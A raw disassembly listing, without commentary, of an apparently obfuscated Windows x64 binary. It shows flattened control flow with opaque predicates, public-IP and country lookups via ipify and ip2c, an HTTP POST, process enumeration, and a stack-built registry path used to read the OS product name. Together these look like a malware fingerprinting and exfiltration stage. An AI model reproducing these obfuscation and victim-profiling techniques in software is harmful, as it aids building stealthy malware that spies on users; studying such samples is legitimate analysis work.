test bl, bl
cmove eax, edi
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0xf0418fbc
mov edx, 0x8a4413ee
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0xf0418fbc
jmp 0x14002bb92
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xde4afda3
and ecx, 0x21b5025c
or ecx, edx
xor ecx, 0x21b5025d
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x1400820fc], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
mov ebx, 0xfa82c373
mov eax, 0x82c629e3
cmovne ebx, eax
test dl, dl
mov eax, 0x82c629e3
jmp 0x14002605f
mov eax, 0xfe48073a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xdcf753e6
and edx, 0x2308ac19
or edx, ebx
xor edx, 0x2308ac18
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0xe8ea2d5f
mov eax, 0x3e58fdb7
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xe8ea2d5f
jmp 0x14002ae76
mov rdi, qword [0x140087440]
sub rsp, 0x20
lea rbx, [0x140081b60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
add eax, eax
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
sub rsp, 0x30
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea r8, str.POST
mov r9d, 1
call rdi
add rsp, 0x30
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [0x140087448]
add rsp, 0x20
mov eax, 0xb8487729
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rax, qword [rbp - 0x10]
mov rbx, qword [rbp - 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__api.ipify.org_
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov eax, 0xd32e008c
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp byte [rbp + 0x7f], 0
mov eax, 0x380c7a9f
mov ecx, 0x60d337cb
jmp 0x14002bb92
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x9132a2cd
mov ebx, 0x4f930401
cmovne eax, ebx
test dl, dl
mov edx, 0x9132a2cd
jmp 0x14002a38f
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xcaa59ce8
and edx, 0x355a6317
or edx, ebx
xor edx, 0x355a6316
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0xb4e46659
mov edi, 0xab9fd874
cmovne eax, edi
test dl, dl
mov ecx, 0xb4e46659
cmove eax, ecx
test bl, bl
cmovne eax, edi
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x7826b972
and ecx, 0x87d9468d
or ecx, edx
xor ecx, 0x87d9468c
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x49dacb10
mov ebx, 0xd6f84897
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x49dacb10
jmp 0x140029b53
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe8e78235
and edx, 0x17187dca
or edx, ebx
xor edx, 0x17187dcb
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x2ca45461
mov ecx, 0xb1c0a141
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0x2ca45461
jmp 0x14002b9c2
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5173db11
and edx, 0xae8c24ee
or edx, ecx
mov ebx, edx
xor ebx, 0xae8c24ee
xor edx, 0x5070d200
and edx, 0xdc78f6ec
mov ecx, ebx
and ecx, 0x23870913
or ecx, edx
xor ecx, 0x23870912
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xc5723115
mov ebx, 0xc16ce534
cmovne eax, ebx
test cl, cl
mov ecx, 0xc5723115
cmove eax, ecx
jmp 0x140026999
mov eax, 0xaa3c5b32
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x3e58fdb7
mov edi, 0x4a4524e2
jmp 0x14002633a
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x28]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xfea4de88
mov ebx, 0x6d251fb2
cmovne eax, ebx
test dl, dl
mov edx, 0xfea4de88
jmp 0x14002a38f
mov eax, 0x71612d4f
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x9235ae45
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6162e727
and ecx, 0x9e9d18d8
or ecx, edx
xor ecx, 0x6162e726
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x66f2f93
mov ebx, 0xfb711351
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x66f2f93
jmp 0x140029b53
mov eax, 0xa212d103
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xca1dfa8f
and ecx, 0x35e20570
or ecx, edx
xor ecx, 0x35e20571
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0xc0bdbe0e
mov edx, 0x8218abfa
cmovne eax, edx
test cl, cl
cmove eax, edx
test bl, bl
mov ecx, 0xc0bdbe0e
jmp 0x14002b9c2
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6543f3b0
and edx, 0x9abc0c4f
or edx, ebx
xor edx, 0x9abc0c4e
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x62397b8f
mov edx, 0x2c138243
cmovne ecx, edx
test bl, bl
mov edx, 0x62397b8f
jmp 0x14002bab4
mov rdx, qword [rbp - 0x18]
add rdx, 0x2c
sub rsp, 0x20
lea rdi, [0x140082120]
mov rcx, rdi
call fcn.140060c84
mov rcx, rdi
lea rdx, [0x14007b4ee]
call fcn.140060c84
add rsp, 0x20
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xba1da17d
mov ebx, 0x6992dc92
cmovne edx, ebx
test cl, cl
mov ecx, 0xba1da17d
jmp 0x140026be9
mov eax, 0x58e863c3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xb2a9f8f
and ecx, 0xf4d56070
or ecx, edx
xor ecx, 0xb2a9f8e
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0xf9ebfbdf
mov ecx, 0xb1c0a141
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0xf9ebfbdf
jmp 0x14002b9c2
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3d98889b
and edx, 0xc2677764
or edx, ecx
mov ecx, edx
xor ecx, 0xc2677764
xor edx, 0x2c18888b
and edx, 0x2e5ab98b
mov ebx, ecx
and ebx, 0xd1a54674
or ebx, edx
xor ebx, 0xd1a54675
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x2179ae3d
and ecx, 0xde8651c2
or ecx, edx
xor ecx, 0xde8651c2
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x8707c1c9
mov edx, 0x2d8c2fbc
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x8707c1c9
cmovne edx, ebx
test al, al
cmovne edx, ecx
jmp 0x14002babc
mov eax, dword [rbp + 0x11c]
mov eax, 0xe062d109
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp byte [rbp + 0xad], 0
mov eax, 0x9907c07e
jmp 0x140025ab2
mov eax, 0xcc92daa2
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x8cc5e2d5
mov ebx, 0x41e41cf8
cmovne eax, ebx
test dl, dl
mov edx, 0x8cc5e2d5
jmp 0x14002a38f
mov eax, 0x7a8fccc6
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x24ce35c0
and edx, 0xdb31ca3f
or edx, ecx
mov ecx, edx
xor ecx, 0xdb31ca3f
xor edx, 0x4c1480
and edx, 0xd87d1caa
mov ebx, ecx
and ebx, 0x2782e355
or ebx, edx
xor ebx, 0x2782e354
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x48782100
and ecx, 0xb787deff
or ecx, edx
xor ecx, 0xb787deff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0xac1d7688
mov edx, 0x8870f396
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0xac1d7688
cmovne edx, ebx
jmp 0x14002b7ec
mov eax, 0x294d6619
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x8716341b
and ecx, 0x78e9cbe4
or ecx, eax
mov eax, ecx
xor eax, 0x78e9cbe4
and eax, 0xfffffffe
xor ecx, 0x8716341a
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x9a4c3135
mov ebx, 0xf1a47e96
cmovne eax, ebx
test dl, dl
mov edx, 0xf1a47e96
jmp 0x140029797
mov eax, 0x8b2a8cb5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0xcbdddcb3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x573d06b2
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x4555a53a
and edx, 0xbaaa5ac5
or edx, ebx
xor edx, 0xbaaa5ac4
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x888c9ab
mov eax, 0xeef55256
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x888c9ab
jmp 0x14002ae76
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9525f2e9
mov edx, eax
and edx, 0x6ada0d16
or edx, ecx
xor edx, 0x6ada0d17
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x260bb8ae
and eax, 0xd9f44751
or eax, ecx
xor eax, 0xd9f44751
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x51c3087a
mov ebx, 0x7980e674
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x51c3087a
jmp 0x140029b53
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
sete byte [rbp + 0xe7]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x20eaac97
mov eax, edx
and eax, 0xdf155368
or eax, ebx
xor eax, 0xdf155369
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0xc319678
mov ebx, 0xf33415b
cmovne edx, ebx
test cl, cl
mov ecx, 0xc319678
jmp 0x140026be9
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 2]
mov word [0x140086f40], ax
mov rdi, qword [rbp + 0x20]
mov ecx, dword [0x1400820f8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x5367b780
and edx, 0xac98487f
or edx, ebx
xor edx, 0x5367b781
or edx, ecx
cmp edx, 0xffffffff
sete bl
cmp dword [0x1400820fc], 0xa
setl dl
xor bl, dl
mov ecx, ebx
xor cl, 1
and dl, cl
xor cl, dl
test bl, bl
mov eax, 0xa5e8ed0
mov esi, 0xbac509e1
cmovne eax, esi
movsx ebx, byte [rdi + 3]
test dl, dl
mov edx, 0xa5e8ed0
cmove eax, edx
mov word [0x140086f42], bx
test cl, cl
cmove eax, esi
mov esi, 0x6195691d
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x7d0b2dbe
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd1af734a
mov edx, eax
and edx, 0x2e508cb5
or edx, ecx
xor edx, 0x2e508cb4
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0x703b902f
mov ebx, 0xe062d109
cmovne eax, ebx
test cl, cl
mov ecx, 0x703b902f
cmove eax, ecx
mov ecx, dword [rbp - 0x6c]
mov dword [rbp + 0x11c], ecx
jmp 0x14002b007
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x82fdb80c
and edx, 0x7d0247f3
or edx, ecx
mov ebx, edx
xor ebx, 0x7d0247f3
xor edx, 0x220980c
and edx, 0x3e229b9d
mov ecx, ebx
and ecx, 0xc1dd6462
or ecx, edx
xor ecx, 0xc1dd6463
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x283ec0b9
mov ebx, 0xca13ca65
jmp 0x1400292e8
mov eax, 0xcb11801d
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xafeed2ec
mov ebx, ecx
and ebx, 0x50112d13
or ebx, edx
xor ebx, 0x50112d12
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa504f980
and ecx, 0x5afb067f
or ecx, edx
xor ecx, 0x5afb067f
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x61667d8a
mov ebx, 0xa147ea3c
cmovne edx, ebx
test al, al
mov eax, 0x61667d8a
jmp 0x140026a5b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xc1b6aae4
and edx, 0x3e49551b
or edx, ebx
xor edx, 0x3e49551a
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x9c2bd30c
mov edx, 0x8cc5e2d5
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x9c2bd30c
jmp 0x14002b481
cmp byte [rbp + 0x113], 0
mov eax, 0x12d91e88
mov ecx, 0x2e75c50e
jmp 0x14002bb92
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rbx, qword [rbp + 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__ip2c.org_
call fcn.140060c84
mov rcx, rbx
lea rdx, [0x1400871c0]
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
sete byte [rbp + 0xff]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xb8f4e56f
and edx, 0x470b1a90
or edx, ebx
xor edx, 0xb8f4e56e
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x5b1bf243
mov ebx, 0xc991504a
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x5b1bf243
jmp 0x14002979c
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x2a0d0d08
and ecx, 0xd5f2f2f7
or ecx, edx
xor ecx, 0x2a0d0d09
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0x628df01b
mov ebx, 0x7dd7d126
cmovne eax, ebx
test dl, dl
mov edx, 0x628df01b
jmp 0x14002a72b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8a85bada
and ecx, 0x757a4525
or ecx, edx
xor ecx, 0x8a85badb
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xc653a01
mov ebx, 0x95f2d6a9
cmovne eax, ebx
test dl, dl
mov edx, 0xc653a01
jmp 0x14002ae0a
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp - 0x58]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov r12, qword [rbp - 0x50]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, r12
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x50]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x50]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x50]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x50]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x50]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x50]
mov word [rax + 0x24], 0x5c
mov word [r12], 0x53
mov rax, qword [rbp - 0x50]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x50]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x50]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2a], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2c], 0x64
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4c], 0x65
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4e], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x50], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x52], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x54], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x56], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x50]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x50]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x50]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x50]
mov word [rax + 0x26], 0x57
mov rax, qword [rbp - 0x50]
mov word [rax + 0x28], 0x69
mov rax, qword [rbp - 0x50]
mov word [rax + 0x2e], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x30], 0x77
mov rax, qword [rbp - 0x50]
mov word [rax + 0x32], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x34], 0x20
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3c], 0x43
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3e], 0x75
mov rax, qword [rbp - 0x50]
mov word [rax + 0x40], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x42], 0x72
mov rax, qword [rbp - 0x50]
mov word [rax + 0x44], 0x65
mov rax, qword [rbp - 0x50]
mov word [rax + 0x46], 0x6e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x48], 0x74
mov rax, qword [rbp - 0x50]
mov word [rax + 0x4a], 0x56
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x50]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x50]
mov word [rax + 0x36], 0x4e
mov rax, qword [rbp - 0x50]
mov word [rax + 0x38], 0x54
mov rax, qword [rbp - 0x50]
mov word [rax + 0x3a], 0x5c
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rbx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov word [rax + 4], 0x6f
mov rax, qword [rbp - 0x48]
mov word [rax + 6], 0x64
mov word [rbx], 0x50
mov rax, qword [rbp - 0x48]
mov word [rax + 2], 0x72
mov rax, qword [rbp - 0x48]
mov word [rax + 0x10], 0x61
mov rax, qword [rbp - 0x48]
mov word [rax + 0x12], 0x6d
mov rax, qword [rbp - 0x48]
mov word [rax + 0x14], 0x65
mov rax, qword [rbp - 0x48]
mov word [rax + 8], 0x75
mov rax, qword [rbp - 0x48]
mov word [rax + 0xa], 0x63
mov rax, qword [rbp - 0x48]
mov word [rax + 0xc], 0x74
mov rax, qword [rbp - 0x48]
mov word [rax + 0xe], 0x4e
mov rax, qword [rbp - 0x58]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140087460]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, r12
mov r8, rbx
mov r9d, 0xffff
call qword [0x140087438]
add rsp, 0x40
test eax, eax
mov eax, 0x7a424be7
mov ecx, 0x1aa8ddf8
cmove eax, ecx
jmp 0x1400250a0
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x38], rax
